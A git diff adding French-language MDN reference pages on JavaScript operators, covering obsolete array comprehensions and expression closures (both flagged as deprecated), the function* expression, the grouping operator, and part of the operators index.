+<p>Les compréhensions de tableau furent proposées pour être standardisées avec ECMAScript 2016. Elles fournissent une notation raccourcie pour pouvoir construire un nouveau tableau basé sur le contenu d'un autre tableau. Les compréhensions sont proches des fonctions {{jsxref("Array.prototype.map", "map()")}} et {{jsxref("Array.prototype.filter", "filter()")}} qui peuvent être combinées pour arriver au même effet.</p>
+
+<p>La compréhension qui suit prend un tableau de nombres et crée un nouveau tableau qui contiendra les doubles de chaque élément :</p>
+
+<pre class="brush: js">var nombres = [1, 2, 3, 4];
+var doublés = [for (i of nombres) i * 2];
+console.log(doublés); // affiche 2,4,6,8
+</pre>
+
+<p>Cela est équivalent à l'opération suivante, qui utilise {{jsxref("Array.prototype.map", "map()")}} :</p>
+
+<pre class="brush: js">var doublés = nombres.map(i =&gt; i * 2);
+</pre>
+
+<p>Les compréhensions peuvent également être utilisées pour sélectionner certains éléments qui respectent un critère donné. Voici par exemple une compréhension qui ne sélectionne que les nombres pairs :</p>
+
+<pre class="brush: js">var nombres = [1, 2, 3, 21, 22, 30];
+var pairs = [for (i of nombres) if (i % 2 === 0) i];
+console.log(pairs); // affiche 2,22,30
+</pre>
+
+<p>Ici, la méthode {{jsxref("Array.prototype.filter", "filter()")}} peut être utilisée pour parvenir au même résultat :</p>
+
+<pre class="brush: js">var pairs = nombres.filter(i =&gt; i % 2 === 0);
+</pre>
+
+<p>{{jsxref("Array.prototype.map", "map()")}} et {{jsxref("Array.prototype.filter", "filter()")}} peuvent être utilisés pour traduire une compréhension de tableau.</p>
+
+<p>Voici un autre exemple de compréhension, qui ne prend que les nombres pairs et qui les double :</p>
+
+<pre class="brush: js">var nombres = [1, 2, 3, 21, 22, 30];
+var pairsDoublés = [for (i of nombres) if (i % 2 === 0) i * 2];
+console.log(pairsDoublés); // affiche 4,44,60
+</pre>
+
+<p>Les crochets d'une compréhension introduisent un bloc implicite pour les portées. Les nouvelles variables (comme <code>i</code> dans l'exemple), sont traitées comme si elles avaient été déclarées avec {{jsxref("Instructions/let","let")}}. Cela signifie donc que ces variables ne pourront pas être utilisées en dehors de la compréhension.</p>
+
+<p>L'élément d'entrée d'une compréhension de tableau ne doit pas nécessairement être un tableau, il est également possible d'utiliser <a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">des itérateurs et des générateurs</a>.</p>
+
+<p>Une chaîne de caractères peut aussi être utilisé comme élément de départ :</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var consonnes = [for (c of str) if (!(/[aeiouyAEIOUY]/).test(c)) c].join(''); // 'bcdf'
+var avecZéros = [for (c of str) c+'0' ].join(''); // 'a0b0c0d0e0f0'
+</pre>
+
+<p>Là encore, la structure de l'élément d'entrée n'est pas préservée, il faut donc utiliser {{jsxref("Array.prototype.join", "join()")}} pour récupérer une chaîne.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Compréhensions_de_tableaux_simples">Compréhensions de tableaux simples</h3>
+
+<pre class="brush:js">[for (i of [ 1, 2, 3 ]) i*i ];
+// [ 1, 4, 9 ]
+
+var abc = [ "A", "B", "C" ];
+[for (lettres of abc) lettres.toLowerCase()];
+// [ "a", "b", "c" ]</pre>
+
+<h3 id="Compréhensions_de_tableaux_utilisant_if">Compréhensions de tableaux utilisant <code>if</code></h3>
+
+<pre class="brush: js">var années = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
+[for (année of années) if (année &gt; 2000) année];
+// [ 2006, 2010, 2014 ]
+[for (année of années) if (année &gt; 2000) if(année &lt; 2010) année];
+// [ 2006 ] qui correspond aussi à
+[for (année of années) if (année &gt; 2000 &amp;&amp; année &lt; 2010) année];
+// [ 2006 ]</pre>
+
+<h3 id="Comparaison_avec_map_et_filter">Comparaison avec <code>map</code> et <code>filter</code></h3>
+
+<p>Afin de mieux comprendre la syntaxe des compréhensions, on peut la comparer avec les méthodes de l'objet Array {{jsxref("Array.map", "map")}} et {{jsxref("Array.filter", "filter")}} :</p>
+
+<pre class="brush: js">var nombres = [ 1, 2, 3 ];
+
+nombres.map(function (i) { return i * i });
+nombres.map(i =&gt; i*i);
+[for (i of nombres) i*i ];
+// tous vaudront [ 1, 4, 9 ]
+
+nombres.filter(function (i) { return i &lt; 3 });
+nombres.filter(i =&gt; i &lt; 3);
+[for (i of nombres) if (i &lt; 3) i];
+// on obtiendra [ 1, 2 ] pour ces trois instructions
+</pre>
+
+<h3 id="Les_compréhensions_manipulant_deux_tableaux">Les compréhensions manipulant deux tableaux</h3>
+
+<p>On peut itérer deux fois avec <code>for...of</code> afin de travailler avec deux tableaux :</p>
+
+<pre class="brush: js">var nombres = [ 1, 2, 3 ];
+var lettres = [ "a", "b", "c" ];
+
+var produitCartésien = [for (i of nombres) for (j of lettres) i+j];
+// [ "1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c" ]
+
+var grille = [for (i of nombres) [for (j of lettres) i+j]];
+// [
+//  ["1a", "1b", "1c"],
+//  ["2a", "2b", "2c"],
+//  ["3a", "3b", "3c"]
+// ]
+
+[for (i of nombres) if (i &gt; 1) for (j of lettres) if(j &gt; "a") i+j]
+// ["2b", "2c", "3b", "3c"], correspond à :
+
+[for (i of nombres) for (j of lettres) if (i &gt; 1) if(j &gt; "a") i+j]
+// ["2b", "2c", "3b", "3c"]
+
+[for (i of nombres) if (i &gt; 1) [for (j of lettres) if(j &gt; "a") i+j]]
+// [["2b", "2c"], ["3b", "3c"]], ne correspond pas à :
+
+[for (i of nombres) [for (j of lettres) if (i &gt; 1) if(j &gt; "a") i+j]]
+// [[], ["2b", "2c"], ["3b", "3c"]]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce point faisait initialement partie du brouillon ECMAScript 2015 mais fut retiré dans la révision 27 (août 2014). Veuillez vous référer aux révisions précédentes pour la sémantique utilisée.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.array_comprehensions")}}</p>
+
+<h2 id="Notes_spécifiques_relatives_à_l'implémentation_de_SpiderMonkey">Notes spécifiques relatives à l'implémentation de SpiderMonkey</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let"><code>let</code></a> en tant qu'identifiant n'est plus supporté. <code>let</code> est seulement disponible pour JS 1.7 et les balises des scripts XUL.</li>
+ <li>La déconstruction des tableaux n'est pas encore supportée.</li>
+</ul>
+
+<h2 id="Différences_avec_les_compréhensions_précédentes_JS1.7JS1.8">Différences avec les compréhensions précédentes JS1.7/JS1.8</h2>
+
+<div class="warning">
+<p>Les compréhensions « JS1.7 / JS1.8 » ont été retirées à partir de Gecko 46 ({{bug(1220564)}}).</p>
+</div>
+
+<p><strong>Ancienne syntaxe pour les compréhensions (ne plus l'utiliser) :</strong></p>
+
+<pre class="brush: js example-bad">[X for (Y in Z)]
+[X for each (Y in Z)]
+[X for (Y of Z)]
+</pre>
+
+<p>Les différences :</p>
+
+<ul>
+ <li>Les compréhensions ESNext créent une portée par nœud «for » au lieu d'une portée par compréhension.
+  <ul>
+   <li>Ancienne syntaxe : <code>[()=&gt;x for (x of [0, 1, 2])][1]() // 2</code></li>
+   <li>Nouvelle syntaxe : <code>[for (x of [0, 1, 2]) ()=&gt;x][1]() // 1, </code>chaque itération crée une nouvelle liaison pour <code>x</code>.</li>
+  </ul>
+ </li>
+ <li>Les compréhensions ESNext débutent avec "for" et non plus avec une expression d'assignation :
+  <ul>
+   <li>Ancienne syntaxe : <code>[i * 2 for (i of nombres)]</code></li>
+   <li>Nouvelle syntaxe : <code>[for (i of nombres) i * 2]</code></li>
+  </ul>
+ </li>
+ <li>Les compréhensions ESNext peuvent comporter plusieurs composants <code>if</code> et <code>for</code>.</li>
+ <li>Les compréhensions ESNext ne fonctionnent qu'avec <code>{{jsxref("Instructions/for...of", "for...of")}}</code> et ne fonctionnent pas avec  <code>{{jsxref("Instructions/for...in", "for...in")}}</code>.</li>
+</ul>
+
+<p>Pour quelques suggestions pour migrer du code, voir le bug {{bug("1220564")}} et notamment le commentaire #42.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of", "for...of")}}</li>
+ <li>{{jsxref("Opérateurs/Compréhensions_de_générateurs", "Les compréhensions de générateurs", "" ,1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/expression_closures/index.html b/files/fr/web/javascript/reference/opérateurs/expression_closures/index.html
new file mode 100644
index 0000000000..a80e576883
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/expression_closures/index.html
@@ -0,0 +1,85 @@
+---
+title: Expression closures
+slug: Web/JavaScript/Reference/Opérateurs/Expression_closures
+tags:
+  - Functions
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Expression_closures
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko60")}}</div>
+
+<div class="warning"><strong>Opérateur non-standard, ne pas utiliser !</strong><br>
+Cette syntaxe est une fonctionnalité dépréciée, spécifique à Firefox et qui a été retirée avec Firefox 60. En remplacement, il est préférable d'utiliser <a href="/fr/docs/Web/JavaScript/Reference/fonctions_fléchées">les fonctions fléchées</a>.</div>
+
+<p>Les expressions de fermetures sont une notation de raccourci pour écrire des fonctions simples.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">function [<em>nom</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
+   <em>expression</em>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction, ce paramètre est optionnel. S'il n'est pas utilisé, la fonction sera <em>anonyme</em>. Le nom de cette fonction est local uniquement pour le corps de la fonction.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments.</dd>
+ <dt><code>expression</code></dt>
+ <dd>L'expression qui correspond au corps de la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Cet élément du langage n'est qu'une notation raccourcie pour l'écriture de fonctions simples. Il permet d'approcher un peu plus d'une notation correspondant au <a href="https://fr.wikipedia.org/wiki/Lambda-calcul">lambda calcul</a>.</p>
+
+<p>Pour les versions de JavaScript antérieures ou égales à 1.7 :</p>
+
+<pre class="brush: js">function(x) { return x * x; }</pre>
+
+<p>Avec JavaScript 1.8 :</p>
+
+<pre class="brush: js">function(x) x * x</pre>
+
+<p>Cette syntaxe permet de ne pas utiliser les accolades et l'instruction <code>return</code> (ici implicite). En dehors de la concision syntaxique, cet opérateur n'apporte pas d'autre avantage.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Un raccourci pour ajouter des gestionnaires d'événements :</p>
+
+<pre class="brush: js"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p>On peut utiliser cette notation avec les fonctions introduites pour les tableaux avec JavaScript 1.6 :</p>
+
+<pre class="brush: js">elems.some(function(elem) elem.type == "text");
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.expression_closures")}}</p>
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<ul>
+ <li>À partir de Gecko / SpiderMonkey 45 {{geckoRelease(45)}}, des avertissements dans la console sont ajoutés aux fermetures d'expression ({{bug(995610)}}).</li>
+ <li>La syntaxe <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Expression_closures">des expressions de fermetures</a> (<em>closure expression</em>) n'est pas autorisée dans les fonctions asynchrones. Cela déclenchera une exception {{jsxref("SyntaxError")}} à partir de Firefox 55.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Fonctions", "Fonctions et portées de fonctions")}}</li>
+ <li>{{jsxref("Objets_globaux/Function","l'objet Function")}}</li>
+ <li>{{jsxref("Instructions/function", "instruction function")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_function", "expression function")}}</li>
+ <li>{{jsxref("Instructions/function*", "instruction function*")}}</li>
+ <li>{{jsxref("Opérateurs/function*", "expression function*")}}</li>
+ <li>{{jsxref("Objets_globaux/GeneratorFunction", "l'objet GeneratorFunction")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/function_star_/index.html b/files/fr/web/javascript/reference/opérateurs/function_star_/index.html
new file mode 100644
index 0000000000..8fa8fa1a4e
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/function_star_/index.html
@@ -0,0 +1,91 @@
+---
+title: Expression function*
+slug: Web/JavaScript/Reference/Opérateurs/function*
+tags:
+  - ECMAScript 2015
+  - Function
+  - Iterator
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/function*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Le mot-clé <strong><code>function*</code></strong> peut être utilisé pour définir une fonction génératrice à l'intérieur d'une expression.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">function* [<em>nom</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>instructions</em>
+}</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction. Ce paramètre est optionnel, auquel cas la fonction sera une fonction <em>anonyme</em>. Le nom sera local par rapport au corps de la fonction.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments.</dd>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui forment le corps de la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une expression <code>function*</code> est très semblable à une instruction {{jsxref('Instructions/function*', 'function*')}}, elle possède également une syntaxe similaire. La différence principale entre une expression <code>function*</code> et une instruction <code>function*</code> est le nom de la fonction. En effet, dans les expressions, le nom peut être omis pour créer une fonction génératrice<em> anonyme</em>. Voir également le chapitre sur les <a href="/fr/docs/Web/JavaScript/Reference/Fonctions">fonctions</a> pour plus d'informations.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment définir une génératrice anonyme et l'affecter à une variable <code>x</code>. Cette fonction génèrera le carré de son argument :</p>
+
+<pre class="brush: js">var x = function*(y) {
+   yield y * y;
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.function_star")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'instruction {{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'objet {{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/The_Iterator_protocol">Le protocole itérateur</a></li>
+ <li>{{jsxref("Opérateurs/yield", "yield")}}</li>
+ <li>{{jsxref("Opérateurs/yield*", "yield*")}}</li>
+ <li>L'objet {{jsxref("Function")}}</li>
+ <li>L'instruction {{jsxref("Instructions/function", "function")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}</li>
+ <li>{{jsxref("Fonctions", "Fonctions et portée des fonctions","","1")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/groupement/index.html b/files/fr/web/javascript/reference/opérateurs/groupement/index.html
new file mode 100644
index 0000000000..07292088cd
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/groupement/index.html
@@ -0,0 +1,91 @@
+---
+title: Opérateur de groupement
+slug: Web/JavaScript/Reference/Opérateurs/Groupement
+tags:
+  - JavaScript
+  - Operator
+  - Primary Expressions
+translation_of: Web/JavaScript/Reference/Operators/Grouping
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur de groupement <code>( )</code> contrôle la précédence de l'évaluation dans les expressions.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"> ( )</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opérateur de groupement consiste en une paire de parenthèses encadrant une expression et permettant de surcharger la <a href="/fr/docs/JavaScript/Reference/Operateurs/Précédence_des_opérateurs">précédence normale des opérateurs </a>afin que les expressions dont la précédence est plus basse soient évaluées avant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Normalement, la multiplication et la division sont prises en compte avant l'addition et la soustraction. On peut changer ce comportement avec l'opérateur de groupement.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// précédence normale
+a + b * c     // 7
+// l'évaluation est effectuée de cette façon
+a + (b * c)   // 7
+
+// précédence surchargée avec le groupement
+// on additionne avant de multiplier
+(a + b) * c   // 9
+
+// mathématiquement, cela est équivalent à
+a * c + b * c // 9
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-grouping-operator', 'L\'opérateur de groupement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.6', 'L\'opérateur de groupement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.1.4','L\'opérateur de groupement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale, implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.grouping")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Operateurs/Précédence_des_opérateurs">Précédence des opérators</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/index.html b/files/fr/web/javascript/reference/opérateurs/index.html
new file mode 100644
index 0000000000..531baa29cc
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/index.html
@@ -0,0 +1,302 @@
+---
+title: Opérateurs
+slug: Web/JavaScript/Reference/Opérateurs
+tags:
+  - JavaScript
+  - Opérateurs
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Ce chapitre documente l'ensemble des opérateurs, expressions et mots-clés utilisés en JavaScript.</p>
+
+<h2 id="Expressions_et_opérateurs_par_catégorie">Expressions et opérateurs, par catégorie</h2>
+
+<p>Pour une liste alphabétique, voir le volet de navigation situé à gauche sur cette page.</p>
+
+<h3 id="Expressions_primaires">Expressions primaires</h3>
+
+<p>Les mots-clés basiques et les expressions générales en JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/L_opérateur_this", "this")}}</dt>
+ <dd>Le mot-clé <code>this</code> fait référence à une propriété spéciale du contexte d'exécution de la fonction.</dd>
+ <dt>{{jsxref("Opérateurs/L_opérateur_function", "function")}}</dt>
+ <dd>Le mot-clé <code>function</code> définit une expression de fonction.</dd>
+ <dt>{{jsxref("Opérateurs/class", "class")}}</dt>
+ <dd>Le mot-clé <code>class</code> définit une expression de classe.</dd>
+ <dt> {{jsxref("Opérateurs/function*", "function*")}}</dt>
+ <dd>Le mot-clé <code>function*</code> définit une expression pour une fonction génératrice.</dd>
+ <dt>{{jsxref("Opérateurs/yield", "yield")}}</dt>
+ <dd>Cet opérateur permet de suspendre et de reprendre l'exécution d'une fonction génératrice.</dd>
+ <dt>{{jsxref("Opérateurs/yield*", "yield*")}}</dt>
+ <dd>Cet opérateur permet de déléguer l'exécution de la fonction à une autre fonction ou un autre objet itérable.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Opérateurs/async_function", "async function*")}}</dt>
+ <dd>L'opérateur <code>async function</code> définit une expression de fonction asynchrone.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Opérateurs/await", "await")}}</dt>
+ <dd>Cet opérateur permet de stopper et de reprendre l'exécution d'une fonction asynchrone et d'attendre pour la résolution ou le rejet d'une promesse.</dd>
+ <dt>{{jsxref("Objets_globaux/Array", "[]")}}</dt>
+ <dd>Littéral initialisateur de tableau.</dd>
+ <dt>{{jsxref("Opérateurs/Initialisateur_objet", "{}")}}</dt>
+ <dd>Littéral initialisateur d'objet.</dd>
+ <dt>{{jsxref("Objets_globaux/RegExp", "/ab+c/i")}}</dt>
+ <dd>Littéral d'expression rationnelle.</dd>
+ <dt>{{jsxref("Opérateurs/Groupement", "( )")}}</dt>
+ <dd>Opérateur de groupement.</dd>
+</dl>
+
+<h3 id="Expressions_«_vers_la_gauche_»">Expressions « vers la gauche »</h3>
+
+<p>On affectera des valeurs aux variables à gauche de l'expression.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_membres", "Opérateurs de membres", "", 1)}}</dt>
+ <dd>Les opérateurs de membres permettent d'accéder à une propriété ou une méthode d'un objet (<code>objet.propriété</code> et <code>object["propriété"]</code>).</dd>
+ <dt>{{jsxref("Opérateurs/L_opérateur_new", "new")}}</dt>
+ <dd>L'opérateur <code>new</code> permet de créer une instance d'un constructeur.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target">new.target</a></dt>
+ <dd>Dans les constructeurs, <code>new.target</code> fait référence au constructeur invoqué par {{jsxref("Opérateurs/new", "new")}}.</dd>
+ <dt>{{jsxref("Opérateurs/super", "super")}}</dt>
+ <dd>Le mot-clé <code>super</code> permet d'appeler le constructeur parent.</dd>
+ <dt>{{jsxref("Opérateurs/Syntaxe_décomposition", "...obj")}}</dt>
+ <dd>L'opérateur de décomposition permet de développer une expression là où on attend plusieurs arguments (pour des appels de fonctions) ou plusieurs éléments (pour les littéraux de tableaux).</dd>
+</dl>
+
+<h3 id="Incrémentation_et_décrémentation">Incrémentation et décrémentation</h3>
+
+<p>Les opérateurs d'incrémentation et de décrémentation, suffixe et préfixe :</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "A++", "#Incr.C3.A9ment_(.2B.2B)")}}</dt>
+ <dd>Opérateur d'incrémentation suffixe.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "A--", "#D.C3.A9cr.C3.A9ment_(--)")}}</dt>
+ <dd>Opérateur de décrémentation suffixe.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "++A", "#Incr.C3.A9ment_(.2B.2B)")}}</dt>
+ <dd>Opérateur d'incrémentation préfixe.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "--A", "#D.C3.A9cr.C3.A9ment_(--)")}}</dt>
+ <dd>Opérateur de décrémentation préfixe.</dd>
+</dl>
+
+<h3 id="Opérateurs_unaires">Opérateurs unaires</h3>
+
+<p>Une opération unaire est une opération qui ne possède qu'un opérande.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/L_opérateur_delete", "delete")}}</dt>
+ <dd>L'opérateur <code>delete</code> permet de supprimer une propriété d'un objet.</dd>
+ <dt>{{jsxref("Opérateurs/L_opérateur_void", "void")}}</dt>
+ <dd>L'opérateur <code>void</code> écarte la valeur de retour d'une expression.</dd>
+ <dt>{{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}</dt>
+ <dd>L'opérateur <code>typeof</code> permet de déterminer le type d'un objet donné.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "+", "#Plus_unaire_(.2B)")}}</dt>
+ <dd>Le plus unaire permet de convertir son opérande en une valeur du type <code>Number</code>.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "-", "#N.C3.A9gation_unaire_(-)")}}</dt>
+ <dd>La négation unaire permet de convertir son opérande en une valeur du type <code>Number</code> puis d'en prendre l'opposé.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_binaires", "~", "#.7E_.28NON_binaire.29")}}</dt>
+ <dd>L'opérateur binaire NON (<em>NOT</em>).</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_logiques", "!", "#NON_logique_.28.21.29")}}</dt>
+ <dd>L'opérateur du NON logique.</dd>
+</dl>
+
+<h3 id="Opérateurs_arithmétiques">Opérateurs arithmétiques</h3>
+
+<p>Les opérateurs arithmétiques utilisent des opérandes numériques et renvoie une valeur numérique.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "+", "#Addition_(.2B)")}}</dt>
+ <dd>L'opérateur d'addition.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "-", "#Soustraction_(-)")}}</dt>
+ <dd>L'opérateur de soustraction.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "/", "#Division_(.2F)")}}</dt>
+ <dd>L'opérateur de division.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "*", "#Multiplication_(*)")}}</dt>
+ <dd>L'opérateur de multiplication.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques", "%", "#Reste_(.25)")}}</dt>
+ <dd>L'opérateur du reste.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_arithmétiques","**","#Exponentiation")}}</dt>
+ <dd>Opérateur de puissance (exponentiation).</dd>
+</dl>
+
+<h3 id="Opérateurs_relationnels">Opérateurs relationnels</h3>
+
+<p>Un opérateur de comparaison permet de comparer deux opérandes et de renvoyer une valeur booléenne selon le résultat de cette comparaison.</p>
+
+<dl>
+ <dt>{{jsxref("Opérateurs/L_opérateur_in", "in")}}</dt>
+ <dd>L'opérateur <code>in</code> permet de déterminer si un objet possède une propriété donnée.</dd>
+ <dt>{{jsxref("Opérateurs/instanceof", "instanceof")}}</dt>
+ <dd>L'opérateur <code>instanceof</code> permet de déterminer si un objet est une instance d'un autre objet.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "&lt;", "#Op.C3.A9rateur_inf.C3.A9rieur_strict_(&lt;)")}}</dt>
+ <dd>Opérateur inférieur strict.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "&gt;", "#Op.C3.A9rateur_sup.C3.A9rieur_strict_(&gt;)")}}</dt>
+ <dd>Opérateur supérieur strict.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "&lt;=", "#Op.C3.A9rateur_inf.C3.A9rieur_ou_.C3.A9gal_(&lt;.3D)")}}</dt>
+ <dd>Opérateur inférieur ou égal.</dd>
+ <dt>{{jsxref("Opérateurs/Opérateurs_de_comparaison", "&gt;=", "#Op.C3.A9rateur_sup.C3.A9rieur_ou_.C3.A9gal_(&gt;.3D)")}}</dt>
+ <dd>Opérateur supérieur ou égal.</dd>
+</dl>
